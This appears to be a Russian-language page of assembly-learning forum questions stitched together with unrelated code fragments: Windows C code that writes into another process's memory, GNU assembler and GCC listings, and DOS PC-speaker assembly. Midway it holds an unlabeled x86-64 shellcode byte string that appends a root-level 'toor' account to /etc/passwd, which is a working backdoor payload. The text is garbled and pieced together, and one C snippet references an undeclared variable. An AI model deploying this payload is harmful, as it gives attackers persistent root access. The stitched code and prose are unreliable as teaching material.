Разобраться и понять, что происходит на каждом этапе компиляции программ
В совершенстве овладеть такой вещью, как GNU ассемблер.
Самому написать компилятор для linux
Хочу развивать свои навыки на основе Kali Linux-a, и поэтому не знаю если стоит учить и для Windows-a, необходимо-ли для обеих ОС? Или возможно сначала Линукс, а потом уже Виндовс?
Заметил что во многих книгах говорится про ассемблеров для семейства процессоров x86, а у меня x64, повлияет-ли это в процессе изучения(сбои, ошибки в работе).
А так же говорится на основе Intel, а у меня просто AMD
Как выбрать ассемблер правильно чтобы он хорошо работал под моим железом без каких либо сбоев, проблем и так далее?
Что используется для создания этих сторонних программ? Какой язык?
Как они работают?
#include <stdio.h>
#include <windows.h>
int main() {
char cmd[2048];
int var = 5;
printf("%p %d\n", &var, var);
sprintf(cmd, "memchange.exe %lu %x", GetCurrentProcessId(), &var);
system(cmd);
printf("%p %d\n", &a, a);
return 0;
}
#include <stdio.h>
#include <windows.h>
int main(int argc, char **argv) {
DWORD pId;
LPVOID pAddr;
HANDLE pHandle;
SIZE_T bytesWritten;
int newValue = 42;
sscanf(argv[1], "%lu", &pId);
sscanf(argv[2], "%x", &pAddr);
pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pId);
WriteProcessMemory(pHandle, pAddr, &newValue, sizeof(newValue), &bytesWritten);
CloseHandle(pHandle);
fprintf(stderr, "Written %u bytes to process %u.\n", bytesWritten, pId);
return 0;
}
одни говорят, что он устарел и на замену ему пришли высокоуровневые языки программирования
\x31\xdb\xf7\xe3\x50\xbb\xff\x73\x77\x64\xc1\xeb\x08\x53\x48\xbb\x2f\x65\x74\x63\x2f\x70\x61\x73
\x53\x48\x89\xe7\x87\xf2\x66\xbe\x01\x04\x04\x02\x0f\x05\x48\x97\xeb\x0e\x5e\x6a\x01\x58\x6a\x26\x5a
\x0f\x05\x6a\x3c\x58\x0f\x05\xe8\xed\xff\xff\xff\x74\x6f\x6f\x72\x3a\x73\x58\x75\x43\x4b\x69\x37\x6b
\x33\x58\x68\x2f\x73\x3a\x30\x3a\x30\x3a\x3a\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a
.section .data
hello_str:
.ascii "Hello, world!\n"
.set hello_str_length, . - hello_str
.section .text
.global main
.type main, @function
main:
movq $4, %rax
movq $1, %rbx
movq $hello_str, %rcx
movq $hello_str_length, %rdx
int $0x80
movq $1, %rax
movq $0, %rbx
int $0x80
.size main, . - main
.file "test.c"
.section .rodata
.LC0:
.string "Hello, World!"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
subq $16, %rsp
movl %edi, -4(%rbp)
movq %rsi, -16(%rbp)
leaq .LC0(%rip), %rdi
call puts@PLT
movl $0, %eax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Debian 6.3.0-18) 6.3.0 20170516"
.section .note.GNU-stack,"",@progbits
MOV DX, 2000 ; Number of times to repeat whole routine.
MOV BX, 1 ; Frequency value.
MOV AL, 10110110B ; The Magic Number (use this binary number only)
OUT 43H, AL ; Send it to the initializing port 43H Timer 2.
NEXT_FREQUENCY: ; This is were we will jump back to 2000 times.
MOV AX, BX ; Move our Frequency value into AX.
OUT 42H, AL ; Send LSB to port 42H.
MOV AL, AH ; Move MSB into AL
OUT 42H, AL ; Send MSB to port 42H.
IN AL, 61H ; Get current value of port 61H.
OR AL, 00000011B ; OR AL to this value, forcing first two bits high.
OUT 61H, AL ; Copy it to port 61H of the PPI Chip
; to turn ON the speaker.
MOV CX, 100 ; Repeat loop 100 times
DELAY_LOOP: ; Here is where we loop back too.
LOOP DELAY_LOOP ; Jump repeatedly to DELAY_LOOP until CX = 0
INC BX ; Incrementing the value of BX lowers
; the frequency each time we repeat the
; whole routine
DEC DX ; Decrement repeat routine count
CMP DX, 0 ; Is DX (repeat count) = to 0
JNZ NEXT_FREQUENCY ; If not jump to NEXT_FREQUENCY
; and do whole routine again.
; Else DX = 0 time to turn speaker OFF
IN AL, 61H ; Get current value of port 61H.
AND AL, 11111100B ; AND AL to this value, forcing first two bits low.
OUT 61H, AL ; Copy it to port 61H of the PPI Chip
; to turn OFF the speaker.